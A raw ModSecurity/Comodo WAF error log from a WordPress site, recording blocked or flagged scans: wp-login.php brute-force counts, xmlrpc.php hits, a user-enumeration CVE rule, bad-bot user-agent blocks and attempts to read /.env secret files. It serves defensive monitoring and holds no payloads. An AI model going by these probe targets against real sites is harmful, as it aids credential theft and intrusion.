[Wed Jan 28 23:12:50.263616 2026] [:error] [pid 33636:tid 33660] [client 45.117.171.202:59286] [client 45.117.171.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.117.171.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXonctIVZAudQH0BSC5bVwAAAhY"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 23:15:50.973336 2026] [:error] [pid 42740:tid 42756] [client 213.209.159.151:45910] [client 213.209.159.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXooJlnjAS34srJlXgTGGQAAAI4"]
[Wed Jan 28 23:19:26.629134 2026] [:error] [pid 33489:tid 33493] [client 34.68.238.61:59628] [client 34.68.238.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.238.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXoo_hZrVZwQUFWC7_9voQAAAAA"]
[Wed Jan 28 23:19:30.289579 2026] [:error] [pid 33489:tid 33496] [client 34.68.238.61:59628] [client 34.68.238.61] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aXopAhZrVZwQUFWC7_9vpgAAAAM"]
[Wed Jan 28 23:19:32.211324 2026] [:error] [pid 33489:tid 33495] [client 34.68.238.61:59628] [client 34.68.238.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.238.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXopBBZrVZwQUFWC7_9vqgAAAAI"]
[Wed Jan 28 23:19:34.766795 2026] [:error] [pid 33580:tid 33596] [client 34.68.238.61:59471] [client 34.68.238.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.238.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXopBplb0QJtwfka8l56hQAAAQk"]
[Wed Jan 28 23:19:36.957130 2026] [:error] [pid 33636:tid 33653] [client 34.68.238.61:56823] [client 34.68.238.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.238.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXopCNIVZAudQH0BSC5cwgAAAg8"]
[Wed Jan 28 23:19:38.853545 2026] [:error] [pid 33580:tid 33599] [client 34.68.238.61:64649] [client 34.68.238.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.238.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXopCplb0QJtwfka8l56iQAAAQw"]
[Wed Jan 28 23:19:38.858347 2026] [:error] [pid 33580:tid 33599] [client 34.68.238.61:64649] [client 34.68.238.61] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 34.68.238.61 (+1 hits since last alert)|gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXopCplb0QJtwfka8l56iQAAAQw"]
[Wed Jan 28 23:49:52.360964 2026] [:error] [pid 33489:tid 33517] [client 172.191.197.110:37332] [client 172.191.197.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.191.197.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXowIBZrVZwQUFWC7_90kQAAABg"]
[Wed Jan 28 23:49:56.983361 2026] [:error] [pid 33489:tid 33496] [client 172.191.197.110:37332] [client 172.191.197.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.191.197.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXowJBZrVZwQUFWC7_90kgAAAAM"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 28 23:58:06.888704 2026] [:error] [pid 24482:tid 24507] [client 209.172.2.20:58132] [client 209.172.2.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.172.2.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoyDqLaUZr_xWekSHPQ6gAAAdU"]
[Wed Jan 28 23:58:08.654786 2026] [:error] [pid 24482:tid 24509] [client 209.172.2.20:58132] [client 209.172.2.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.172.2.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXoyEKLaUZr_xWekSHPQ8AAAAdc"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 29 00:08:39.743370 2026] [:error] [pid 30817:tid 30826] [client 89.107.187.42:33456] [client 89.107.187.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.107.187.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXo0h5kL00co11SGgyoImQAAAIY"]
[Thu Jan 29 01:24:25.576410 2026] [:error] [pid 30729:tid 30811] [client 83.166.133.91:51230] [client 83.166.133.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.133.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpGSYHlkRFkYwysACcpbgAAANc"]
[Thu Jan 29 01:30:56.603389 2026] [:error] [pid 32895:tid 32898] [client 173.252.167.110:35280] [client 173.252.167.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.252.167.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpH0HQ85pgihG9SXurGEQAAAgE"]
[Thu Jan 29 01:30:58.803561 2026] [:error] [pid 32895:tid 32902] [client 173.252.167.110:35280] [client 173.252.167.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.252.167.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpH0nQ85pgihG9SXurGFAAAAgU"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 29 02:02:04.314171 2026] [:error] [pid 30727:tid 30735] [client 192.99.147.218:33068] [client 192.99.147.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.99.147.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpPHJ6XAsWrB4DloY_MwgAAAAQ"]
[Thu Jan 29 02:02:06.315665 2026] [:error] [pid 30727:tid 30743] [client 192.99.147.218:33068] [client 192.99.147.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.99.147.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpPHp6XAsWrB4DloY_MwwAAAAw"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 29 02:12:33.446454 2026] [:error] [pid 32747:tid 32771] [client 104.28.152.248:17566] [client 104.28.152.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aXpRkf0et-wQsmVMWlknKQAAAdY"]
[Thu Jan 29 02:15:13.852054 2026] [:error] [pid 32895:tid 32914] [client 209.133.214.250:57936] [client 209.133.214.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.133.214.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpSMXQ85pgihG9SXurPLQAAAhE"]
[Thu Jan 29 02:15:17.184694 2026] [:error] [pid 32895:tid 32916] [client 209.133.214.250:57936] [client 209.133.214.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.133.214.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpSNXQ85pgihG9SXurPLgAAAhM"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 29 02:22:49.185990 2026] [:error] [pid 30727:tid 30739] [client 223.25.8.55:59412] [client 223.25.8.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.25.8.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpT-Z6XAsWrB4DloY_SjgAAAAg"]
[Thu Jan 29 02:23:35.614026 2026] [:error] [pid 32451:tid 32460] [client 103.181.110.179:13286] [client 103.181.110.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.181.110.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpUJxnhmSN6e0P4d6tOEAAAAUc"]
[Thu Jan 29 02:24:00.910040 2026] [:error] [pid 30817:tid 30838] [client 43.157.98.187:48632] [client 43.157.98.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXpUQJkL00co11SGgyo9AQAAAJI"]
[Thu Jan 29 02:28:16.537898 2026] [:error] [pid 32895:tid 32905] [client 184.168.97.71:51196] [client 184.168.97.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.168.97.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpVQHQ85pgihG9SXurRlQAAAgg"]
[Thu Jan 29 02:28:18.337489 2026] [:error] [pid 32895:tid 32911] [client 184.168.97.71:51196] [client 184.168.97.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.168.97.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpVQnQ85pgihG9SXurRlwAAAg4"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 29 02:28:46.728146 2026] [:error] [pid 32747:tid 32767] [client 185.165.29.95:51728] [client 185.165.29.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.165.29.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpVXv0et-wQsmVMWlkqdQAAAdI"]
[Thu Jan 29 02:28:48.284687 2026] [:error] [pid 32747:tid 32752] [client 185.165.29.95:51728] [client 185.165.29.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.165.29.95, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpVYP0et-wQsmVMWlkqdgAAAcM"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 29 02:47:31.683439 2026] [:error] [pid 30817:tid 30843] [client 65.108.1.122:57566] [client 65.108.1.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.1.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpZw5kL00co11SGgypDGAAAAJc"]
[Thu Jan 29 02:47:35.631102 2026] [:error] [pid 30817:tid 30844] [client 65.108.1.122:57566] [client 65.108.1.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.1.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpZx5kL00co11SGgypDIwAAAJg"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 29 02:51:39.641169 2026] [:error] [pid 33151:tid 33220] [client 78.46.197.51:60782] [client 78.46.197.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.46.197.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpau2tRH8LcJJ0AyU698AAAAlY"]
[Thu Jan 29 02:59:07.250101 2026] [:error] [pid 32747:tid 32773] [client 51.91.219.191:45746] [client 51.91.219.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.91.219.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpce_0et-wQsmVMWlkxBQAAAdg"]
[Thu Jan 29 02:59:08.925676 2026] [:error] [pid 32747:tid 32772] [client 51.91.219.191:45746] [client 51.91.219.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.91.219.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpcfP0et-wQsmVMWlkxBwAAAdc"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 29 03:08:10.737851 2026] [:error] [pid 32598:tid 32611] [client 8.219.239.88:55106] [client 8.219.239.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.219.239.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpemlY4u2FXFuCu0C4j0AAAAYs"]
[Thu Jan 29 03:08:13.278869 2026] [:error] [pid 30727:tid 30737] [client 8.219.239.88:55110] [client 8.219.239.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.219.239.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpenZ6XAsWrB4DloY_b_wAAAAY"]
[Thu Jan 29 03:08:13.477268 2026] [:error] [pid 30729:tid 30798] [client 198.187.29.33:49828] [client 198.187.29.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.187.29.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpenYHlkRFkYwysACc_UAAAAMo"]
[Thu Jan 29 03:08:13.479387 2026] [:error] [pid 30729:tid 30798] [client 198.187.29.33:49828] [client 198.187.29.33] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpenYHlkRFkYwysACc_UAAAAMo"]
[Thu Jan 29 03:08:13.481285 2026] [:error] [pid 30729:tid 30798] [client 198.187.29.33:49828] [client 198.187.29.33] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpenYHlkRFkYwysACc_UAAAAMo"]
[Thu Jan 29 03:08:14.594559 2026] [:error] [pid 32895:tid 32905] [client 159.198.32.184:56060] [client 159.198.32.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.198.32.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpennQ85pgihG9SXurZEQAAAgg"]
[Thu Jan 29 03:08:15.669228 2026] [:error] [pid 32451:tid 32456] [client 198.187.29.33:49832] [client 198.187.29.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.187.29.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpenxnhmSN6e0P4d6tY2QAAAUM"]
[Thu Jan 29 03:08:15.670799 2026] [:error] [pid 32451:tid 32456] [client 198.187.29.33:49832] [client 198.187.29.33] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpenxnhmSN6e0P4d6tY2QAAAUM"]
[Thu Jan 29 03:08:15.671888 2026] [:error] [pid 32451:tid 32456] [client 198.187.29.33:49832] [client 198.187.29.33] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpenxnhmSN6e0P4d6tY2QAAAUM"]
[Thu Jan 29 03:08:16.925481 2026] [:error] [pid 64076:tid 64086] [client 159.198.32.184:56064] [client 159.198.32.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.198.32.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpeoMgWS9sk7GfiNFebCgAAAog"]
[Thu Jan 29 03:08:31.247151 2026] [:error] [pid 30817:tid 30834] [client 191.252.83.199:53606] [client 191.252.83.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.252.83.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXper5kL00co11SGgypI0gAAAI4"]
[Thu Jan 29 03:08:37.112421 2026] [:error] [pid 32598:tid 32621] [client 191.252.83.199:53610] [client 191.252.83.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.252.83.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpetVY4u2FXFuCu0C4j7AAAAZU"]
[Thu Jan 29 03:09:34.732182 2026] [:error] [pid 32747:tid 32763] [client 191.252.83.213:42682] [client 191.252.83.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.252.83.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpe7v0et-wQsmVMWlkzPgAAAc4"]
[Thu Jan 29 03:09:39.379806 2026] [:error] [pid 64139:tid 64153] [client 191.252.83.213:42690] [client 191.252.83.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.252.83.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXpe808_llMXywnNBzhXNQAAAww"]
[Thu Jan 29 03:23:30.559170 2026] [:error] [pid 30729:tid 30793] [client 217.160.134.4:39470] [client 217.160.134.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.160.134.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpiMoHlkRFkYwysACdCCAAAAMU"]
[Thu Jan 29 03:23:32.365905 2026] [:error] [pid 30729:tid 30808] [client 217.160.134.4:39470] [client 217.160.134.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.160.134.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpiNIHlkRFkYwysACdCCwAAANQ"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 29 03:33:29.222433 2026] [:error] [pid 15949:tid 16001] [client 198.23.51.225:43310] [client 198.23.51.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.23.51.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpkiSUUtCw0-hDUhapMrwAAAEk"]
[Thu Jan 29 03:33:31.142087 2026] [:error] [pid 15949:tid 15994] [client 198.23.51.225:43310] [client 198.23.51.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.23.51.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXpkiyUUtCw0-hDUhapMugAAAEI"], referer: https://gigfragments.org/wp-login.php
[Thu Jan 29 03:33:45.369216 2026] [:error] [pid 15949:tid 16009] [client 47.90.227.150:37950] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXpkmSUUtCw0-hDUhapNBAAAAFE"]
[Thu Jan 29 03:33:46.016753 2026] [:error] [pid 15949:tid 16003] [client 47.90.227.150:52696] [client 47.90.227.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXpkmiUUtCw0-hDUhapNBgAAAEs"]
[Thu Jan 29 03:38:31.095522 2026] [:error] [pid 15950:tid 16028] [client 34.245.150.211:58218] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aXplt4JOXwUqBC55abQuiwAAAIk"], referer: https://www.google.com/
[Thu Jan 29 03:38:31.666356 2026] [:error] [pid 16050:tid 16069] [client 34.245.150.211:58224] [client 34.245.150.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aXplt-FPpSEbViHfa9KUCAAAAM8"], referer: https://www.google.com/
